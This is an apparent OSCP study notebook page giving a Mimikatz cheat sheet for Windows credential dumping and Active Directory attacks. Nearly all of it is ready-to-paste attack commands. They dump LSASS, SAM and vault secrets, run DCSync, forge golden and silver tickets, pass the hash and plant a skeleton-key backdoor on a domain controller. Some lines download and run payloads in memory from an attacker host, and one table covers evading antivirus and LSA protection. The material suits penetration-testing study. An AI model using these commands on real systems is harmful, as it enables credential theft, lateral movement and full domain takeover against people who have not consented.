Pearson's OSCP Notebook

Mimikatz

Properties1
tagsmimikatz, credential-dumping, windows, ntlm, pass-the-hash, pass-the-ticket, kerberos, golden-ticket, dcsync, post-exploitation, lateral-movement

9 min read

Mimikatz — Windows Credential Dumping Reference

External: Internal All The Things — Mimikatz Cheatsheet

What is Mimikatz?

Mimikatz is a post-exploitation tool for Windows that extracts credentials from memory (LSASS), the SAM database, LSA secrets, and Kerberos tickets. It can also forge Kerberos tickets, perform Pass-the-Hash, and dump domain credentials via DCSync.

OSCP use: Mimikatz is one of the most important post-exploitation tools on Windows. Once you have a SYSTEM or Administrator shell, use it to harvest creds for lateral movement and privilege escalation.

Requirements

  • Local admin or SYSTEM is required for most commands.
  • privilege::debug must be run first to gain SeDebugPrivilege (needed to touch LSASS).
  • On some systems WDigest needs to be enabled to get cleartext passwords.

Running Mimikatz

Interactive (run as Administrator)

certutil -urlcache -split -f http://192.168.49.126:8000/mimikatz.exe mimikatz.exe

mimikatz.exe
privilege::debug

token::elevate

sekurlsa::logonpasswords

One-liner (pass commands inline)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

From PowerShell (in-memory, no disk write)

# Download and run entirely in memory (common AV bypass)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
 
# Or load from local path
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz
Invoke-Mimikatz -DumpCreds

Remote execution with Impacket

# Run via PSExec if you have creds
python3 impacket-psexec domain/user:password@TARGET
# Then run mimikatz interactively
 
# Or push and run LSASS dump with NetExec (NOT mimikatz/minikatz)
nxc smb TARGET -u user -p password -M lsassy
nxc smb TARGET -u user -p password -M handlekatz
nxc smb TARGET -u user -p password -M nanodump

First Commands (Always Run These First)

# 1. Elevate to get SeDebugPrivilege — MUST run before anything else:
privilege::debug

# 2. Confirm: should see "Privilege '20' OK"

# 3. (Optional) Elevate token to SYSTEM:
token::elevate

privilege::debug
token::elevate

📌 1) sekurlsa:: — Dump Credentials from LSASS

This is the main module. Reads directly from LSASS process memory.

# Dump all logon sessions — passwords, NTLM hashes, Kerberos tickets
sekurlsa::logonpasswords

# Just NTLM hashes (faster, less output)
sekurlsa::msv

# WDigest plaintext passwords (only works if WDigest is enabled)
sekurlsa::wdigest

# Kerberos tickets in memory
sekurlsa::tickets

# Kerberos tickets — export to files (.kirbi)
sekurlsa::tickets /export

# Encryption keys (AES128, AES256, RC4/NTLM) — useful for overpass-the-hash
sekurlsa::ekeys

# Kerberos keys
sekurlsa::krbtgt

# Live SSP credentials
sekurlsa::livessp

# DPAPI master keys
sekurlsa::dpapi

# CloudAP credentials (Azure SSO, Windows Hello)
sekurlsa::cloudap

Output to look for in logonpasswords

Authentication Id : 0 ; 123456 (00000000:0001e240)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
...
    msv :
     [00000003] Primary
     * Username : Administrator
     * Domain   : CORP
     * NTLM     : aad3b435b51404eeaad3b435b51404ee   <-- LM (blank)
     * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c   <-- NT hash — use for PTH
    wdigest :
     * Username : Administrator
     * Domain   : CORP
     * Password : P@ssw0rd123                        <-- Cleartext (if WDigest enabled)
    kerberos :
     * Username : Administrator
     * Domain   : CORP.LOCAL
     * Password : (null)

📌 2) lsadump:: — SAM / LSA / Domain Hashes

Dump local SAM database (local accounts)

# Requires SYSTEM
lsadump::sam

# With system hive files (offline / from a backup)
lsadump::sam /system:C:\Windows\System32\config\SYSTEM /sam:C:\Windows\System32\config\SAM

Dump LSA secrets (service account passwords, cached domain creds)

lsadump::lsa /patch
lsadump::lsa /patch /name:krbtgt    # Just krbtgt hash
lsadump::secrets

DCSync — Replicate credentials from DC (no LSASS touch)

Requires Domain Admin or DCSync rights (Replication rights on the domain object). Does not need to run ON the DC — works remotely.

# Dump a specific user's hashes (including krbtgt)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:Administrator

# Dump ALL domain hashes (slow but thorough)
lsadump::dcsync /domain:corp.local /all /csv

Dump domain cached credentials (DCC2 hashes)

lsadump::cache

Dump NTDS.dit (if you have a copy)

# First extract with ntdsutil or Volume Shadow Copy
# Then crack offline with secretsdump or mimikatz:
lsadump::lsa /patch
# Or use impacket-secretsdump on the files
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

📌 3) kerberos:: — Kerberos Ticket Manipulation

# List all Kerberos tickets in current session
kerberos::list
kerberos::list /export    # Export .kirbi files

# Purge (clear) all tickets — useful before PTT
kerberos::purge

# Pass-the-Ticket — inject a .kirbi ticket into the current session
kerberos::ptt ticket.kirbi

# Verify ticket was loaded
kerberos::list
klist    # Built-in Windows command

Golden Ticket — forge a TGT for ANY user

Requires the krbtgt NTLM hash (from DCSync or lsadump::lsa).

# Get domain SID first
whoami /user    # Note the SID minus the last -XXXX part

kerberos::golden \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-1234567890-1234567890-1234567890 \
  /krbtgt:KRBTGT_NTLM_HASH \
  /ptt

# With specific group memberships and ticket lifetime
kerberos::golden \
  /user:FakeUser \
  /domain:corp.local \
  /sid:S-1-5-21-1234567890-1234567890-1234567890 \
  /krbtgt:KRBTGT_NTLM_HASH \
  /groups:512,513,518,519,520 \
  /startoffset:0 \
  /endin:600 \
  /renewmax:10080 \
  /ptt

Silver Ticket — forge a TGS for a specific service

Requires the service account NTLM hash (not krbtgt).

kerberos::silver \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-1234567890-1234567890-1234567890 \
  /target:DC01.corp.local \
  /service:cifs \
  /rc4:SERVICE_ACCOUNT_NTLM_HASH \
  /ptt

📌 4) sekurlsa::pth — Pass-the-Hash

Spawn a new process using an NTLM hash without knowing the plaintext password.

# Spawn cmd.exe as a user using their NTLM hash
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe

# Spawn PowerShell
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell.exe

# With AES key (overpass-the-hash — harder to detect)
sekurlsa::pth /user:Administrator /domain:corp.local /aes256:AES256_KEY /run:cmd.exe

📌 5) token:: — Token Manipulation

# Enable SeDebugPrivilege (shortcut — same as privilege::debug)
token::elevate

# Elevate to SYSTEM by stealing a SYSTEM token
token::elevate /domainadmin    # Steal a Domain Admin token if one is in memory

# List all available tokens
token::list

# Impersonate a specific token
token::impersonate

# Revert to original token
token::revert

# Who am I right now?
token::whoami

📌 6) privilege:: — Adjust Privileges

# Grant SeDebugPrivilege — ALWAYS run this first
privilege::debug

# List all privileges of the current token
privilege::list

# Enable a specific privilege
privilege::sysenv

📌 7) vault:: — Windows Credential Vault

# List saved credentials (Windows Vault, RDP saved creds, etc.)
vault::list

# Dump vault credentials
vault::cred
vault::cred /patch    # Try to get cleartext

# Windows credential manager (web + Windows creds)
vault::cred /domain    # Show domain credentials

📌 8) crypto:: — Certificates and Keys

# List certificate stores
crypto::stores

# List certificates in the MY store
crypto::certificates /store:MY

# Export all certificates (including private keys if exportable)
crypto::certificates /store:MY /export

# List DPAPI master keys
crypto::keys

# Enable exportability for non-exportable certs (patch CNG)
crypto::cng
crypto::capi

📌 9) misc:: — Misc Attacks

Skeleton Key — backdoor the DC (LSASS patch)

Patches LSASS on the Domain Controller to accept a universal password (“mimikatz”) for ANY account while leaving real passwords working.

# Must run ON the DC with SYSTEM
misc::skeleton
# After this: any user can authenticate with password "mimikatz"
# e.g. net use \\DC01\C$ /user:Administrator mimikatz

Warning: This patches live LSASS memory — reverted on reboot, and detection is high.

→ LSASS for full dump workflow (comsvcs, procdump, pypykatz, nxc modules)

Memory Capture / Minidump

See LSASS > 3) Offline dump — on target — Task Manager, comsvcs.dll, ProcDump, SilentProcessExit.

📌 10) Dumping LSASS Offline (AV Evasion)

Moved to dedicated note: LSASS — offline dump, transfer, pypykatz parse, nxc remote modules, WDigest, LSA Protection.

Quick link:

pypykatz lsa minidump lsass.dmp    # full ref → [[pypykatz]]
nxc smb TARGET -u user -p pass -M lsassy

📌 11) Enabling WDigest (Cleartext Passwords)

By default, Windows 8.1+ and Server 2012R2+ disable WDigest — no cleartext passwords in memory. You can re-enable it (requires rebooting the target or waiting for next logon):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Note: Takes effect after the user logs out and back in. On a server, you may need to wait for a service restart or scheduled task re-auth.

📌 12) Invoke-Mimikatz (PowerShell)

Runs Mimikatz entirely in memory via PowerShell — no EXE on disk.

# Load from web (or local)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
 
# Dump creds
Invoke-Mimikatz -DumpCreds
 
# Run arbitrary Mimikatz commands
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
 
# Run on a remote machine (requires admin rights on remote)
Invoke-Mimikatz -DumpCreds -ComputerName DC01
Invoke-Mimikatz -DumpCreds -ComputerName @("DC01","WEB01","DB01")
 
# Golden Ticket via PowerShell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt"'

📌 13) Avoiding Detection (Brief Notes)

TechniqueDetail
Dump LSASS offlineUse procdump, comsvcs.dll, or Task Manager — parse on Kali with pypykatz
In-memory onlyUse Invoke-Mimikatz — never writes EXE to disk
Obfuscated loaderEncode Mimikatz with Invoke-Obfuscation or custom packer
Rename binaryRename mimikatz.exe to something innocuous
Bypass LSA Protection!+ driver load then !processprotect /process:lsass.exe /remove
DCSync remotelyRun DCSync from a non-DC workstation — doesn’t touch LSASS on DC at all

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Always start with:
privilege::debug
token::elevate

# Dump all creds from memory
sekurlsa::logonpasswords

# Just NTLM hashes
sekurlsa::msv

# Local SAM hashes
lsadump::sam

# LSA secrets
lsadump::lsa /patch

# DCSync — get krbtgt hash (run from any DA machine)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:Administrator

# Pass-the-Hash — spawn shell with NTLM hash
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:HASH /run:cmd.exe

# Pass-the-Ticket — inject a .kirbi ticket
kerberos::ptt ticket.kirbi

# Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ptt

# Export Kerberos tickets to .kirbi files
sekurlsa::tickets /export

# Windows Vault (saved RDP/web creds)
vault::cred /patch

# Re-enable WDigest for cleartext (wait for next logon)
# Run in cmd: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Common Workflow: Initial Access → Cred Dump → Lateral Move

1. Get local Admin shell on workstation
2. privilege::debug               → enable SeDebugPrivilege
3. token::elevate                 → elevate to SYSTEM
4. sekurlsa::logonpasswords       → grab NT hashes + any plaintext
5. sekurlsa::tickets /export      → grab Kerberos tickets
6. lsadump::sam                   → local account hashes
7. Use hashes with:
   - sekurlsa::pth                → PTH to move laterally
   - kerberos::ptt                → PTT with stolen tickets
   - impacket-psexec / wmiexec    → remote shell with hash
   - crackmapexec smb             → spray hash across network
8. If Domain Admin:
   - lsadump::dcsync /user:krbtgt → grab krbtgt for Golden Ticket

The Fix: A Newer Mimikatz Binary

A quick search (staying ethical, of course) led me to advice about using a more recent Mimikatz build. Older versions can choke on modern Windows systems due to updates in LSASS handling or security patches. I headed to gentilkiwi’s GitHub and grabbed the latest trunk release (2.2.0–20220919).

https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919

On my Kali box, I downloaded and extracted it:

wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
sudo unzip mimikatz_trunk.zip

Graph View

Backlinks